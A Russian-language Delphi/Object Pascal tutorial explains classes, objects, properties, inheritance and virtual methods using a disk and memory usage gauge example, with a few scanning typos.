Классы объектов определяются в секции type глобального блока. Описание класса начинается словом class и заканчивается словом end. По форме объявления классы похожи на обычные записи, но помимо полей данных могут содержать объявления пользовательских процедур и функций. Такие процедуры и функции обобщенно называют методами, они предназначены для выполнения над объектами различных операций. Приведем пример объявления класса:

type
  TDiskGauge = class      { измеритель дискового пространства}
  DriveLetter: Char;       { буква дискового накопителя}
  PercentCritical: Integer;   { критический процент свободного пространства}
  function GetPercentFree: Integer;
  procedure CheckStatus;
end;

Заголовки методов, следующие за списком полей, играют роль предварительных (forward) объявлений. Программный код методов помещается ниже определения класса и будет приведен позже.
Класс обычно описывает сущность, моделируемую в программе. Например, класс TDiskGauge описывает измеритель дискового ресурса. Класс содержит два поля: DriveLetter — буква находящегося под наблюдением накопителя, и PercentCritical — процент свободного пространства на диске, с которым работает программа. Когда объем свободных ресурсов снижается до этого порога, пользователю выдается звуковое предупреждение. Функция GetPercentFree определена как метод работы над любым объектом класса TDiskGauge и возвращает процент свободного пространства на диске. Процедура CheckStatus служит для проверки состояния ресурса и выдачи звукового предупреждения.
Обратите внимание, что приведенное выше описание является не чем иным, как декларацией интерфейса для управления объектами класса TDiskGauge. Реализация методов GetPercentFree и CheckStatus отсутствует, но для создания и использования экземпляров класса она пока и не нужна. В этом как раз и состоит сила инкапсуляции, Которая делает объекты аналогичными программным модулям. Для использования модуля необходимо изучить лишь его интерфейсную часть, раздел реализации для этого изучать не требуется. Поэтому дальше от описания класса мы перейдем не к реализации методов, а к созданию на их основе объектов.

ОБЪЕКТЫ
Чтобы от описания класса перейти к объекту, следует выполнить соответствующее объявление в секции var:

  var DiskGauge: TDiskGauge;

При работе с обычными типами данных этого объявления было бы достаточно для получения экземпляра типа. Однако объекты в Delphi являются динамическими данными, т.е. распределяются в «куче» (heap). Поэтому переменная DiskGauge — это просто ссылка на экземпляр объекта, которого физически еще не существует. Чтобы сконструировать объект класса TDiskGauge и связать с ним переменную DiskGauge, нужно в текст программы поместить следующий оператор (statement):

DiskGauge: = TDiskGauge.Create;

Create — это так называемый конструктор объекта; он всегда присутствует в классе и служит для создания и инициализации экземпляров. К сведению профессионалов заметим, что в памяти выделяется место только для полей объекта. Методы, так же как и обычные процедуры и функции, помещаются в область кода программы; они умеют работать с любыми экземплярами своего класса и в памяти никогда не дублируются,
После создания объект можно использовать в программе — читать и устанавливать его поля, вызывать методы. Доступ к полям и методам объекта происходит с помощью уточненных имен, например:

DiskGauge.DriveLetter: = 'С';
DiskGauge. PercentCritical: = 10;
DiskGauge.CheckStatus;

Кроме того, как и при работе с записями, допустимо использование оператора with, например:

with DiskGauge do begin
  DriveLetter: = 'С';
  PercentCritical: = 10;
  CheckStatus;
end;

Если наступает время, когда объект становится не нужен в программе, он должен быть удален вызовом специального метода Destroy, например:

DiskGauge.Destroy;

Destroy — это так называемый деструктор объекта; он присутствует в классе наряду с конструктором и служит для удаления объекта из динамической памяти. После вызова деструктора переменная DiskGauge становится несвязанной и не должна использоваться для доступа к полям и методам уже несуществующего объекта. Чтобы отличать в программе связанные объектные переменные от несвязанных, последние следует инициализировать значением nil. Например, в следующем фрагменте обращение к деструктору Destroy выполняется только в том случае, если объект реально существует.

DiskGauge: = nil;
if DiskGauge <> nil then DiskGauge.Destroy;

Вызов деструктора для несуществующих объектов недопустим и при выполнении программы приведет к ошибке. Чтобы избавить программистов от лишних ошибок, в объекты ввели предопределенный метод Free, который следует вызывать вместо деструктора. Метод Free сам вызывает деструктор Destroy, но только в том случае, если значение объектной переменной не равно nil. Поэтому последнюю строчку в приведенном выше примере можно переписать следующим образом:

DiskGauge.Free;

Значение одной объектной переменной можно присвоить другой. При этом объект не копируется в памяти, а вторая переменная просто связывается с тем же объектом, что и первая:

var
  DiskGaugel, DiskGauge2: TDiskGauge;
begin
  { Переменные DiskGauge1 и DiskGauge2 не связаны с объектом}
  DiskGauge1: = TDiskGauge.Create; { Переменная DiskGauge1 связана с     объектом, а DiskGauge2 — нет}
  DiskGauge2: = DiskGauge1;   { Обе переменные связаны с одним объектом}
  DiskGauge2.Free;   {Объект удален, переменные DiskGauge1 и DiskGauge2 с      ним не связаны}
end;

Объекты могут выступать в программе не только в качестве переменных, но также элементов массивов, полей записей, параметров процедур и функций. Кроме того, они могут служить полями других объектов. Во всех этих случаях программист фактически оперирует указателями на экземпляры объектов в динамической памяти. Следовательно, объекты априори приспособлены для создания сложных динамических структур данных, таких как списки и деревья. Указатели на объекты для этого не нужны.
В некоторых случаях требуется, чтобы объекты разных классов содержали ссылки друг на друга. Возникает проблема: объявление первого класса будет содержать ссылку на еще не определенный класс. Она решается с помощью упреждающего объявления.

type
TGaugeList = class; { предварительное объявление класса TGaugeList }
TDiskGauge = class Owner: TGaugeList;
end;
TGaugeList = class Gauges: array [0..2] of TDiskGauge;
end;

Первое объявление класса TGaugeList называется предварительным (от англ. forward). Оно необходимо для того, чтобы компилятор нормально воспринял объявление поля Owner в классе TDiskGauge.
Итак, вы уже имеете некоторое представление об объектах, перейдем теперь к вопросу реализации их методов.

МЕТОДЫ
Процедуры и функции, предназначенные для выполнения над объектами действий, называются методами. Предварительное объявление методов выполняется при описании класса в секции interface модуля, а их программный код записывается в секции implementation. Однако в отличие от обычных процедур и функций заголовки методов должны иметь уточненные имена, т.е. содержать наименование класса. Приведем, например, возможную реализацию методов в классе TDiskGauge:

function TDiskGauge.GetPercentFree: Integer; { uses SysUtils; }
var
Drive: Byte;
begin
Drive := Ord(DriveLetter) - Ord('A') + 1;
Result := DiskFree(Drive) * 100 div DiskSize(Drive);
end;
procedure TDiskGauge.CheckStatus; { uses Windows; }
begin
if GetPercentFree <= PercentCritical
then Beep;
end;

Обратите внимание, что внутри методов обращения к полям и другим методам выполняются как к обычным переменным и подпрограммам без уточнения экземпляра объекта. Такое упрощение достигается путем использования в пределах метода псевдопеременной Self (стандартный идентификатор). Физически Self представляет собой дополнительный неявный параметр, передаваемый в метод при вызове. Этот параметр и указывает экземпляр объекта, к которому данный метод применяется. Чтобы пояснить сказанное, перепишем метод CheckStatus, представив его в виде обычной процедуры:

procedure TDiskGauge_CheckStatus (Self: TDiskGauge);
begin
  with Self do
  if GetPercentFree <= PercentCritical then Beep;
end;

Согласитесь, что метод CheckStatus выглядит более предпочтительно, чем процедура TDiskGauge_CheckStatus.
Практика показывает, что псевдопеременная Self редко используется в явном виде. Ее необходимо применять только тогда, когда при написании метода может возникнуть какая-либо двусмысленность для компилятора, например при использовании одинаковых имен и для локальных переменных, и для полей объекта.
Если выполнить метод CheckStatus

DiskGauge.CheckStatus;

то произойдет проверка состояния дискового ресурса. При этом неявный параметр Self будет содержать значение переменной DiskGauge. Такой вызов реализуется обычными средствами процедурного программирования приблизительно так:

TDiskGauge_CheckStatus(DiskGauge) ;

КОНСТРУКТОРЫ И ДЕСТРУКТОРЫ
Особой разновидностью методов являются конструкторы и деструкторы. Напомним, что конструкторы создают, а деструкторы — разрушают объекты. Создание объекта включает выделение памяти под экземпляр и инициализацию его полей, а разрушение — очистку полей и освобождение памяти.
Очевидно, что выполняемые при инициализации и деинициализации действия специфичны для каждого конкретного класса объектов. По этой причине Object Pascal позволяет переопределить стандартные конструктор Create и деструктор Destroy для выполнения любых полезных действий. Можно даже определить несколько конструкторов и деструкторов (имена им назначает сам программист), чтобы обеспечить различные способы создания и разрушения объектов.
Объявление конструкторов и деструкторов похоже на объявление обычных методов с той лишь разницей, что вместо зарезервированного слова procedure (или function) используются слова constructor и destructor:

type TDiskGauge = class DriveLetter: Char;
  PercentCritical: Integer;
constructor Create;
destructor Destroy;
...
end;

Приведем их возможную реализацию:

constructor TDiskGauge.Create;
begin
  DriveLetter := 'C';
  PercentCritical := 10;
end;
destructor TDiskGauge.Destroy;
begin
  { Разрушение встроенных объектов и освобождение динамических данных}
end;

Конструктор иногда имеет параметры, в которых передаются исходные значения полей объекта. Если объект содержит встроенные объекты или другие динамические данные, то конструктор — это как раз то место, где их нужно создавать.
Конструктор применяется к классу или к объекту. Если он применяется к классу

DiskGauge: = TDiskGauge.Create;

то выполняется следующая последовательность действий:
· в динамической памяти выделяется место для нового объекта;
· выделенная память заполняется нулями; в результате все числовые поля и поля порядкового типа приобретают нулевые значения, строковые поля становятся пустыми, а поля, содержащие указатели и объекты, получают значение nil;
· затем выполняются заданные программистом действия конструктора;
· ссылка на созданный объект возвращается в качестве значения конструктора; тип возвращаемого значения совпадает с типом класса, использованного при вызове (в нашем примере это тип TDiskGauge).
Если конструктор применяется к объекту
DiskGauge.Create;
то новый объект не создается, а происходит переинициализация полей существующего. В этом случае конструктор не возвращает никакого значения.
Деструктор уничтожает объект, к которому применяется:
DiskGauge.Destroy;
В результате:
· выполняется заданный программистом код деинициализации;
· освобождается занимаемая объектом динамическая память.
В теле деструктора обычно должны уничтожаться встроенные объекты и динамические данные, созданные конструктором.

СВОЙСТВА
ПОНЯТИЕ СВОЙСТВА
Помимо полей и методов в объектах существуют свойства. При работе с объектом свойства выглядят как поля: они принимают значения и участвуют в выражениях. Но в отличие от полей свойства не занимают места в памяти, а операции их чтения и записи ассоциируются с обычными полями или методами. Это позволяет создавать необходимые побочные эффекты при обращении к свойствам. Например, присваивание свойству Visible значения True вызовет отображение графического объекта на экране, а значения False — его исчезновение.
Объявление свойства выполняется с помощью зарезервированного слова property, например:

type
  TDiskGauge = class FPercentCritical: Integer;
  procedure SetPercentCritical (Percent: Integer);
  property PercentCritical: Integer read FpercentCritical
write SetPercentCritical;
end;

После слова read указывается поле или метод, к которому происходит обращение при чтении значения свойства, а после слова write — поле или метод, к которому происходит обращение при записи значения свойства. Например, чтение свойства PercentCritical заменяется на чтение поля FPercentCritical, а установка свойства — на вызов метода SetPercentCritical. Чтобы имена свойств не совпадали с именами полей, последние принято писать с буквы F (от англ. field).
Атрибуты read и write называются спецификаторами доступа. Если один из них опущен, то значение свойства можно либо только читать (задан спецификатор read), либо только записывать (задан спецификатор write). В следующем примере объявлено свойство, значение которого можно только читать:

type
  TDiskGauge = class
  property PercentFree: Integer read GetPercentFree;
end;

Обращение к свойствам выглядит в программе как обращение к полям:

var
DiskGauge: TDiskGauge;
A : Integer;
А := DiskGauge.PercentCritical;
{ эквивалентно А := DiskGauge.FPercentCritical;}
DiskGauge.PercentCritical := A + 10;
{ эквивалентно DiskGauge.SetPercentCritical(A + 10);}

Однако в отличие от полей свойства не имеют адреса в памяти, поэтому к ним запрещено применять операцию @. Кроме того, их нельзя передавать в var-параметрах процедур и функций.
Технология объектно-ориентированного программирования в Delphi предписывает избегать прямого обращения к полям, создавая вместо этого соответствующие свойства. Это упорядочивает работу с объектами, изолируя их данные от непосредственной модификации. В будущем внутренняя структура класса, которая иногда является достаточно сложной, может быть изменена с целью повышения эффективности работы программы. При этом потребуется переработать только методы чтения и записи значений свойств; внешний интерфейс класса не изменится.

МЕТОДЫ ПОЛУЧЕНИЯ И УСТАНОВКИ СВОЙСТВ
Методы чтения и записи свойств подчиняются определенным правилам. Метод чтения свойства — это всегда функция, возвращающая значение того же типа, что и тип свойства. Метод записи свойства — это обязательно процедура, принимающая параметр того же типа, что и тип свойства. В остальном это обычные методы объекта. Примерами методов чтения и записи свойств являются GetPercentFree и SetPercentCritical в классе TDiskGauge:

type TDiskGauge = class
  FPercentCritical: Integer;
  function GetPercentFree: Integer;
  procedure SetPercentCritical (Value: Integer);
  property PercentFree: Integer read GetPercentFree;
  property PercentCritical: Integer
  read FPercentCritical write SetPercentCritical;
end;

Использование методов для получения и установки свойств позволяет проверить корректность значения свойства, сделать дополнительные вычисления, установить значения зависимых полей и т.д. Например, в методе SetPercentCritical целесообразно сделать проверку на то, что устанавливаемое значение находится в диапазоне от 0 до 100:

procedure TDiskGauge.SetPercentCritical (Value: Integer);
begin
  if (Value >= 0) and (Value < 100)
  then FpercentCritical := Value;
end;

МЕТОДЫ, ОБСЛУЖИВАЮЩИЕ НЕСКОЛЬКО СВОЙСТВ
0дин и тот же метод может использоваться для получения (установки) значений нескольких свойств одного типа. В этом случае каждому свойству назначается целочисленный индекс, который передается в метод первым параметром. В следующем примере методы Get и Set обслуживают три свойства: GaugeA, GaugeB и GaugeC:

type
TGaugeList = class
 FGauges: array [0..2] of TDiskGauge;
 ...
 function Get (Index: Integer): TDiskGauge;
 procedure Set (Index: Integer; Value: TDiskGauge);
 ...
 property GaugeA: TDiskGauge index 0 read Get write Set;
 property GaugeB: TDiskGauge index 1 read Get write Set;
 property GaugeC: TDiskGauge index 2 read Get write Set;
 ...
end;

function TGaugeList.Get (Index: Integer): TDiskGauge;
begin
  Result := FGauges [Index];
end;

procedure TGaugeList.Set (Index: Integer; Value: TDiskGauge);
begin
  FGauges [Index] := Value;
end;

Обращения к свойствам GaugeA, GaugeB и GaugeC заменяются на соответствующие Вызовы методов Get и Set:

var
  GaugeList: TGaugeList;
  DiskGauge: TDiskGauge;
 ...
  GaugeList.GaugeC := DiskGauge;
  { эквивалентно GaugeList.Set (2, DiskGauge) }

  GaugeList.GaugeC.CheckStatus;
  { эквивалентно GaugeList.Get(2).CheckStatus }
 ...

СВОЙСТВА-МАССИВЫ
Кроме обычных свойств в объектах существуют свойства-массивы (array properties), Свойство-массив — это индексированное множество свойств. В виде свойства-массива удобно, например, представить множество измерителей ресурсов в классе TGaugeList

type
  TGaugeList = class
   ...
  property Gauges[Index: Integer]: TdiskGauge
    read Get write Set;
   ...
end;

Обратите внимание, что методы Get и Set обслуживают и свойство-массив Gauges, и индексированные свойства GaugeA, GaugeB и GaugeC. Если в описании обычных свойств могут участвовать поля, то в описании свойств-массивов разрешено использовать только методы.
Основная выгода от применения свойств-массивов — возможность выполнения итераций с помощью цикла for, например:

var
  GaugeList: TGaugeList;
  I: Integer;
...
  for I := 0 to 2 do
  with GaugeList do Gauges [I] .CheckStatus;
...

Свойства-массивы могут быть многомерными. В этом случае методы чтения и записи их элементов имеют столько же индексных параметров соответствующего типа, что и массив.
Свойства-массивы имеют два важных отличия от обычных массовов:
· их индексы не ограничиваются диапазоном и могуптаеть-любой тип-данных, а не только Integer; например, можно создать свойство-массив, в котором индексами будут строки; обращение к такому свойству могло бы выглядеть так:
GaugeList.Gauges['GaugeA'] := DiskGauge;
·   операции над свойством-массивом в целом запрещены; разрешены операции только с его элементами.

СВОЙСТВО-МАССИВ КАК ОСНОВНОЕ СВОЙСТВО ОБЪЕКТА
Свойство-массив можно сделать основным свойством объектов данного класса. Для этого в его описание добавляется слово default:

type
 TGaugeList = class
  ...
   property Gauges [Index: Integer]: TdiskGauge
     read Get write Set; default;
  ...
end;

Такое объявление свойства Gauges позволяет рассматривать сам объект класса TGaugeList как массив и опускать имя свойства-массива при обращении к нему из программы, например:

var
  GaugeList: TGaugeList;
  I: Integer;
...
  for I := 0 to 2 do
    GaugeList [I] := nil; {  эквивалентно GaugeList.Gauges[I] := nil; }

Следует помнить, что только свойства-массивы могут быть основными свойствами объектов; для обычных свойств это недопустимо.


Наследование

НАСЛЕДОВАНИЕ
ПОНЯТИЕ НАСЛЕДОВАНИЯ
Классы инкапсулируют (т.е. включают в себя) поля, методы и свойства; это их первая черта. Следующая не менее важная черта классов — способность наследовать поля, методы и свойства других классов. Чтобы пояснить сущность наследования, обратимся к примеру с измерителями ресурсов.
Класс TDiskGauge описывает измеритель дискового ресурса и непригоден для измерения ресурса другого типа, например оперативной памяти. С появлением измерителя оперативной памяти нужен новый класс объектов:
type
 TMemoryGauge = class
    FPercentCritical: Integer;
    constructor Create;
    function GetPercentFree: Integer;
    procedure SetPercentCritical (Value: Integer) ;
    procedure CheckStatus;
    property PercentFree: Integer read GetPercentFree;
    property PercentCritical: Integer
        read FPercentCritical write SetPercentCritical;
end;
Поля, методы и свойства класса TMemoryGauge аналогичны тем, что определены в классе TDiskGauge. Отличие состоит в отсутствии поля DriveLetter и другой реализации конструктора Create и метода GetPercentFree. Если в будущем появится класс, описывающий измеритель ресурса какого-то нового типа, то придется снова определять общие для всех классов поля, методы и свойства. Чтобы избавиться от дублирования атрибутов при определении новых классов, воспользуемся механизмом наследования. Прежде всего выделим атрибуты, общие для всех измерителей ресурсов, в отдельный класс TResourceGauge:
type
 TResourceGauge = class
   FPercentCritical: Integer;
   constructor Create;
   function GetPercentFree: Integer;
   procedure SetPercentCritical (Value: Integer) ;
   procedure CheckStatus;
   property PercentFree : Integer read GetPercentFree;
   property PercentCritical: Integer
       read FPercentCritical write SetPercentCritical;
 end;

constructor TResourceGauge.Create;
begin
  FPercentCritical := 10;
end;

function TResourceGauge.GetPercentFree: Integer;
begin
  Result := 0;
end;

procedure TResourceGauge.SetPercentCritical (Value: Integer);
begin
  if (Value >= 0) and (Value < 100) then FPercentCritical := Value;
end;

procedure TResourceGauge.CheckStatus;
begin
  if GetPercentFree <= FPercentCritical then Beep;
end;
При реализации класса TResourceGauge ничего не известно о том, что в действительности представляет собой ресурс, поэтому функция GetPercentFree возвращает нуль. Очевидно, что создавать объекты класса TResourceGauge не имеет смысла. Для чего тогда нужен класс TResourceGauge? Ответ: чтобы на его основе породить два других класса — TDiskGauge и TMemoryGauge, описывающих конкретные виды измерителей ресурсов, — измеритель диска и измеритель памяти:
type
 TDiskGauge = class(TResourceGauge)
   DriveLetter: Char;
   constructor Create (ADriveLetter: Char) ;
   function GetPercentFree: Integer;
 end;

 TMemoryGauge = class(TResourceGauge)
   function GetPercentFree: Integer;
 end;
Классы TDiskGauge и TMemoryGauge определены как наследники TResourceGauge (об этом говорит имя в скобках после слова class). Они автоматически включают в себя все описания, сделанные в классе TResourceGauge и добавляют к ним некоторые новые. В результате формируется следующее дерево классов (рис. 1):

Рисунок 1

Класс, который наследует атрибуты другого класса, называется порожденным классом или потомком. Естественно, что класс, от которого происходит наследование, выступает в роли базового, или предка. В примере класс TDiskGauge является непосредственным потомком класса TResourceGauge. Если от TDiskGauge породить новый класс, то он тоже будет потомком TResourceGauge, но уже не таким близким, как TDiskGauge.
Очень важно, что в отношениях наследования любой класс может иметь только одного непосредственного предка и сколь угодно много потомков. Поэтому все связанные отношением наследования классы образуют иерархию. Примером иерархии классов является библиотека Visual Component Library (VCL); с ее помощью в Delphi обеспечивается разработка Windows-приложений.
ПРЕДОК ПО УМОЛЧАНИЮ
В языке Object Pascal существует предопределенный класс TObject, который служит неявным предком тех классов, для которых предок не указан. Это означает, что объявление
type
  TResourceGauge = class
   ...
  end;

эквивалентно следующему:

type
  TResourceGauge = class(TObject)
   ...
  end;
Класс TObject выступает корнем любой иерархии классов. Он содержит ряд методов, которые по наследству передаются всем остальным классам. Среди них конструктор Create, деструктор Destroy, процедура Free и некоторые другие методы.
Таким образом, полная иерархия классов для измерителей ресурсов выглядит так (рис. 2):

Рисунок 2

ПЕРЕКРЫТИЕ АТРИБУТОВ В НАСЛЕДНИКАХ
В механизме наследования можно условно выделить три основных момента:
§ наследование полей;
§ наследование свойств;
§ наследование методов.
Любой порожденный класс наследует от родительского все поля данных, поэтому классы TDiskGauge и TMemoryGauge автоматически содержат поле FPercentCritical, объявленное в классе TResourceGauge. Доступ к полям предка осуществляется по имени, как если бы они были определены в порожденном классе. В наследниках можно определять новые поля, но их имена должны отличаться от имен полей предка.
Наследование свойств и методов имеет свои особенности.
Свойство базового класса можно перекрыть (от англ. override) в производном классе, например чтобы добавить ему новый атрибут доступа или связать с другим полем или методом.
Метод базового класса тоже можно перекрыть в производном классе, например чтобы изменить логику его работы. Обратимся, например, к классам TDiskGauge и TMemoryGauge. В них методы SetPercentCritical и CheckStatus унаследованы от TResourceGauge, так как логика их работы не зависит от типа ресурса. А вот метод GetPercentFree перекрыт, так как способ вычисления процента свободного пространства специфичен для диска и оперативной памяти:
function TDiskGauge.GetPercentFree: Integer;
var
  Drive: Byte;
begin
  Drive := Ord(DriveLetter) - Ord('A') + 1;
  Result := DiskFree(Drive) * 100 div DiskSize(Drive) ;
end;

function TMemoryGauge.GetPercentFree: Integer; { uses Windows; }
var
  MemoryStatus: TMemoryStatus;
begin
  MemoryStatus.dwLength := SizeOf(MemoryStatus);
  GlobalMemoryStatus(MemoryStatus);
  Result := 100 - MemoryStatus.dwMemoryLoad;
end;
В классе TDiskGauge перекрыт еще и конструктор Create. Это необходимо для инициализации дополнительного поля DriveLetter:
constructor TDiskGauge.Create (ADriveLetter: Char) ;
begin
  inherited Create;
  DriveLetter := ADriveLetter;
end;
Как видно из примера, в наследнике можно вызвать перекрытый метод предка, указав перед именем метода зарезервированное слово inherited. Кстати, данный пример демонстрирует важный принцип реализации конструкторов: сначала вызывается конструктор предка, а затем инициализируются дополнительные поля данных. В деструкторах применяется обратная последовательность действий: сначала разрушаются данные, недоступные предку, а затем вызывается унаследованный деструктор.
СОВМЕСТИМОСТЬ ОБЪЕКТОВ РАЗЛИЧНЫХ КЛАССОВ
Для классов, связанных отношением наследования, вводится новое правило совместимости типов. Вместо объекта базового класса можно подставить объект любого производного класса. Обратное неверно. Например, переменной типа TResourceGauge можно присвоить значение переменной типа TDiskGauge:
var
  R: TResourceGauge;
...
  R := TDiskGauge.Create;
...
Объектная переменная R формально имеет тип TResourceGauge, а фактически связана с экземпляром класса TDiskGauge.
Правило совместимости классов чаще всего применяется при передаче объектов в параметрах процедур и функций. Например, если процедура работает с объектом класса TResourceGauge, то вместо него можно передать объект класса TDiskGauge или TMemoryGauge.
КОНТРОЛЬ И ПРЕОБРАЗОВАНИЕ ТИПОВ
Поскольку реальный экземпляр объекта может оказаться наследником класса, указанного при описании объектной переменной или параметра, бывает необходимо проверить, к какому классу принадлежит объект на самом деле. Чтобы программист мог выполнять такого рода проверки, каждый объект хранит информацию о своем классе. В Object Pascal существуют операторы is и as, с помощью которых выполняется соответственно проверка на тип (type checking) и преобразование к типу (type casting).
Например, чтобы выяснить, принадлежит ли некоторый объект Obj, объявленный в программе как
var
  Obj: TObject;
к классу TResourceGauge или его наследнику, следует записать
if Obj is TResourceGauge then { да, принадлежит } ;
Для преобразования объекта к нужному типу используется оператор as, например:
with Obj as TResourceGauge do CheckStatus;
Стоит отметить, что для объектов применим и обычный способ приведения типа:
with TResourceGauge(Obj ) do CheckStatus;
Вариант с оператором as лучше, поскольку безопасен. Он генерирует ошибку (точнее, исключительную ситуацию) при выполнении программы (run-time error), если реальный экземпляр объекта Obj несовместим с классом TResourceGauge. Забегая вперед, скажем, что ошибку приведения типа можно обработать и таким образом избежать досрочного завершения приложения.
ВИРТУАЛЬНЫЕ МЕТОДЫ
ПОНЯТИЕ ВИРТУАЛЬНОГО МЕТОДА
Все методы, которые до сих пор рассматривались, имеют одну общую черту — все они статические. При обращении к статическому методу компилятор точно знает класс, которому данный метод принадлежит. Поэтому, например, обращение к статическому методу GetPereentFree в методе CheckStatus компилируется в вызов TResourceGauge.GetPercentFree:
procedure TResourceGauge.CheckStatus;
begin
  if GetPereentFree <= FPercentCritical then Beep;
  { if TResourceGauge.GetPereentFree <= FPercentCritical then Beep; }
end;
Метод CheckStatus работает неправильно в наследниках TResourceGauge, так как внутри него вызов перекрытого метода GetPereentFree не происходит. Конечно, в классах TDiskGauge и TMemoryGauge можно продублировать все методы и свойства, которые прямо или косвенно вызывают GetPereentFree, но при этом теряются преимущества наследования. ООП предлагает изящное решение этой проблемы — метод GetPereentFree всего-навсего объявляется виртуальным:
type
  TResourceGauge = class
   ...
  function GetPereentFree: Integer; virtual;
   ...
  end;
В производных классах виртуальный метод перекрывается с использованием ключевого слова override. Перекрытый метод должен иметь точно такой же формат (список параметров, а для функций еще и тип возвращаемого значения), что и перекрываемый:
type
  TDiskGauge = class(TResourceGauge)
     ...
    function GetPercentFree: Integer; override;
  end;

  TMemoryGauge = class(TResourceGauge)
    function GetPercentFree: Integer; override;
  end;
Суть виртуальных методов в том, что они вызываются по фактическому типу экземпляра, а не по формальному типу, записанному в программе. Поэтому после сделанных изменений метод CheckStatus будет работать так, как ожидает программист:
procedure TResourceGauge.CheckStatus;
begin
  if GetPercentFree <= FPercentCritical then Beep;
  { if «фактический класс>.GetPercentFree <= FpercentCritical then Beep; }
end;
Работа виртуальных методов основана на механизме позднего связывания (late binding). В отличие от раннего связывания (early binding), характерного для статических методов, позднее связывание основано на вычислении адреса вызываемого метода при выполнении программы. Метод вычисляется по хранящемуся в каждом объекте описателю типа.
Благодаря механизму наследования и виртуальным методам, в Delphi реализуется такая концепция ООП как полиморфизм. Полиморфизм существенно облегчает труд программиста, так как обеспечивает повторное использование кода уже написанных методов.
АБСТРАКТНЫЕ ВИРТУАЛЬНЫЕ МЕТОДЫ
При построении иерархии часто возникает ситуация, когда работа виртуального метода в базовом классе неизвестна и наполняется содержанием только в наследниках. Так случилось, например, с методом GetPercentFree, который в классе TResourceGauge состоит всего из одного оператора: Result := 0. Конечно, тело метода можно сделать пустым или почти пустым (так мы и поступили), но лучше воспользоваться директивой abstract:
type
  TResourceGauge = class
     ...
    function GetPercentFree : Integer; virtual; abstract;
     ...
  end;
Директива abstract записывается после слова virtual и исключает необходимость написания кода виртуального метода для данного класса. Такой метод называется абстрактным, т.е. подразумевает конкретное логическое действие, а не способ его реализации. Абстрактные виртуальные методы часто используются при создании классов-полуфабрикатов. Свою реализацию такие методы получают в законченных наследниках.
ДИНАМИЧЕСКИЕ МЕТОДЫ
Разновидностью виртуальных методов являются так называемые динамические методы. При их объявлении вместо слова virtual записывается ключевое слово dynamic, например:
type
  TResourceGauge = class
    ...
    function GetPercentFree: Integer; dynamic; abstract;
    ...
  end;
В наследниках динамические методы перекрываются так же, как и виртуальные, т.е. с помощью зарезервированного слова override.
Семантически динамические и виртуальные методы идентичны. Различие состоит только в механизме их вызова. Методы, объявленные с директивой virtual, вызываются максимально быстро, но платой за это является большой размер системных таблиц, с помощью которых происходит их диспетчеризация. Размер этих таблиц начинает сказываться с увеличением числа классов в иерархии. Методы, объявленные с директивой dynamic, вызываются несколько дольше, но при этом таблицы диспетчирования имеют более компактный вид, что способствует экономии памяти. Таким образом, программисту предоставляются два способа оптимизации объектов: по скорости работы (virtual) или по объему памяти (dynamic).
МЕТОДЫ ОБРАБОТКИ СООБЩЕНИЙ
Специализированной формой динамических методов являются методы обработки сообщений. Они объявляются с помощью ключевого слова message, за которым следует целочисленная константа — номер сообщения, например:
type
  TMyControl = class(TWinControl)
    procedure WMPaint (var Message: TWMPaint) ; message WM_PAINT;
  end;
Методы обработки сообщений всегда имеют формат процедуры и содержат единственный var-параметр. При перекрытии метода его название и имя параметра не имеют значения. Вызовом соответствующего обработчика занимается метод Dispatch, наследуемый из класса TObject.
Методы обработки сообщений применяются внутри библиотеки VCL для обработки сообщений Windows и редко нужны ее пользователям, т.е. нам с вами.
КЛАССЫ В ПРОГРАММНЫХ МОДУЛЯХ
Классы очень удобно собирать в модули. При этом их описание помещается в секцию interface, а код методов — в секцию implementation. Создавая модули классов, нужно придерживаться следующих правил:
q все классы, предназначенные для использования за пределами модуля, следует определять в секции interface;
q описание классов, предназначенных для употребления внутри модуля, следует располагать в секции implementation;
q если модуль В использует модуль А, то в модуле В можно определять классы, порожденные от классов модуля А.
Соберем рассмотренные ранее классы TResourceGauge, TDiskGauge и TmemoryGauge в отдельный модуль Resgauge:
unit Resgauge;

interface

type

 TResourceGauge = class
 private
   FPercentCritical: Integer;
   procedure SetPercentCritical(Value: Integer);
 protected
   function GetPercentFree: Integer; virtual; abstract;
 public
   constructor Create;
   procedure CheckStatus;
   property PercentFree: Integer read GetPercentFree;
   property PercentCritical: Integer
       read FPercentCritical write SetPercentCritical;
 end;

 TDiskGauge = class(TResourceGauge)
 private
   DriveLetter: Char;
 protected
   function GetPercentFree : Integer; override;
 public
   constructor Create (ADriveLetter: Char) ;
 end;

 TMemoryGauge = class (TResourceGauge)
 protected
   function GetPercentFree: Integer; override;
 end;

implementation

uses
  SysUtils, Windows;

{ TResourceGauge }

constructor TResourceGauge.Create;
begin
  FPercentCritical := 10;
end;

procedure TResourceGauge.SetPercentCritical(Value: Integer);
begin
  if (Value >= 0) and (Value < 100) then FPercentCritical := Value;
end;

procedure TResourceGauge.CheckStatus;
begin
  if PercentFree <= PercentCritical then Beep;
end;

{ TDiskGauge }

constructor TDiskGauge.Create (ADriveLetter: Char) ;
begin
  inherited Create;
  DriveLetter := ADriveLetter;
end;

function TDiskGauge.GetPercentFree: Integer;
var
  Drive: Byte;
begin
  Drive := Ord (DriveLetter) - Ord('A') + 1;
  Result := DiskFree(Drive) * 100 div DiskSize(Drive) ;
end;

{ TMemoryGauge }

function TMemoryGauge.GetPercentFree: Integer;
var
  MemoryStatus: TMemoryStatus ;
begin
  MemoryStatus.dwLength := SizeOf(MemoryStatus);
  GlobalMemoryStatus(MemoryStatus);
  Result := 100 - MemoryStatus.dwMemoryLoad;
end;

end.
Как можно заметить, в описании классов присутствуют новые слова private, protected и public. С их помощью регулируется видимость частей класса для других модулей и основной программы. Назначение каждой директивы поясняется ниже.
ВИДИМОСТЬ АТРИБУТОВ ОБЪЕКТА
Программист имеет возможность ограничить видимость атрибутов класса для других программистов (и для себя в том числе). Для этого служат директивы private, protected, public, published, automated (последние две директивы не используется в модуле Resgauge).
Private. Все, что объявлено в секции private, недоступно за пределами модуля. Секция private позволяет скрыть те поля и методы, которые относятся к так называемым особенностям реализации. Например, в этой секции объявлены поле FPercentCritical и метод SetPercentCritical.
Public. Поля, методы и свойства, объявленные в секции public, не имеют никаких ограничений на использование, т.е. всегда видны за пределами модуля. Все, что помещается в секцию public, служит для манипуляций с объектами и составляет программный интерфейс класса. Например, в этой секции объявлены конструктор Create, процедура CheckStatus, свойства PercentFree и PercentCritical.
